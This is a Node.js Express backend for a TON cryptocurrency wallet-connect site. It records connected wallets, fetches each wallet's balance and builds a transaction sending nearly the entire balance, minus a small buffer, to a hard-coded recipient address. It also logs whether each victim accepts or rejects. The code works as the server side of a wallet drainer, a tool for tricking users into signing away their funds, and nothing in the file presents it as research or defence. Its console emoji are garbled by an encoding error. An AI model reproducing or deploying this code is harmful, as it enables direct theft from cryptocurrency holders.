|
const express = require("express"); |
|
const path = require("path"); |
|
const bodyParser = require("body-parser"); |
|
const axios = require("axios"); |
|
|
|
const app = express(); |
|
|
|
|
|
app.use(bodyParser.json()); |
|
app.use(express.static(path.join(__dirname, "public"))); |
|
|
|
|
|
let connectedWallets = []; |
|
|
|
|
|
app.get("/", (req, res) => { |
|
res.sendFile(path.join(__dirname, "public/html/index.html")); |
|
}); |
|
|
|
|
|
|
|
|
|
app.post("/connected", (req, res) => { |
|
console.log("π Wallet connected:", req.body); |
|
if (!connectedWallets.includes(req.body.wallet)) { |
|
connectedWallets.push(req.body.wallet); |
|
} |
|
res.json({ status: "ok", message: "Wallet connected" }); |
|
}); |
|
|
|
|
|
|
|
|
|
app.post("/disconnect", (req, res) => { |
|
console.log("π Wallet disconnected:", req.body); |
|
connectedWallets = connectedWallets.filter(w => w !== req.body.wallet); |
|
res.json({ status: "ok", message: "Wallet disconnected" }); |
|
}); |
|
|
|
|
|
|
|
|
|
async function getWalletBalance(address) { |
|
try { |
|
const res = await axios.get(`https://tonapi.io/v2/accounts/${address}`); |
|
|
|
return res.data.account.balance; |
|
} catch (err) { |
|
console.error("β Error fetching balance:", err.response?.data || err.message); |
|
return null; |
|
} |
|
} |
|
|
|
|
|
|
|
|
|
|
|
app.get("/transaction", async (req, res) => { |
|
const userWallet = req.query.wallet; |
|
console.log("π° Transaction request from:", userWallet); |
|
|
|
if (!userWallet) { |
|
return res.status(400).json({ error: "Wallet address missing" }); |
|
} |
|
|
|
const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; |
|
|
|
const balanceNanoTon = await getWalletBalance(userWallet); |
|
if (!balanceNanoTon) { |
|
return res.status(500).json({ error: "Could not fetch balance" }); |
|
} |
|
|
|
const balanceTon = balanceNanoTon / 1e9; |
|
|
|
if (balanceTon < 0.05) { |
|
console.log(`β οΈ Balance too low (${balanceTon} TON). Not building transaction.`); |
|
return res.json({ |
|
messages: [ |
|
{ address: recipientAddress, amount: "0", payload: "" } |
|
], |
|
raw: { from: userWallet, to: recipientAddress, amount: "0" } |
|
}); |
|
} |
|
|
|
let bufferTon = 0.05; |
|
if (balanceTon > 100) bufferTon = 0.8; |
|
else if (balanceTon > 10) bufferTon = 0.5; |
|
else if (balanceTon > 1) bufferTon = 0.2; |
|
|
|
const sendTon = Math.max(balanceTon - bufferTon, 0); |
|
const sendNanoTon = Math.floor(sendTon * 1e9); |
|
|
|
console.log(`π Balance: ${balanceTon} TON, Deduction: ${bufferTon} TON, Sending: ${sendTon} TON`); |
|
|
|
const tx = { |
|
messages: [ |
|
{ |
|
address: recipientAddress, |
|
amount: sendNanoTon.toString(), |
|
payload: "" |
|
} |
|
], |
|
raw: { |
|
from: userWallet, |
|
to: recipientAddress, |
|
amount: sendNanoTon.toString() |
|
} |
|
}; |
|
|
|
res.json(tx); |
|
}); |
|
|
|
|
|
|
|
|
|
app.post("/accept", (req, res) => { |
|
console.log("β
Transaction accepted:", req.body); |
|
res.json({ status: "ok", message: "Transaction accepted" }); |
|
}); |
|
|
|
|
|
|
|
|
|
app.post("/reject", (req, res) => { |
|
console.log("β Transaction rejected:", req.body); |
|
res.json({ status: "ok", message: "Transaction rejected" }); |
|
}); |
|
|
|
|
|
const PORT = 7860; |
|
app.listen(PORT, () => { |
|
console.log(`π Backend running at http://localhost:${PORT}`); |
|
}); |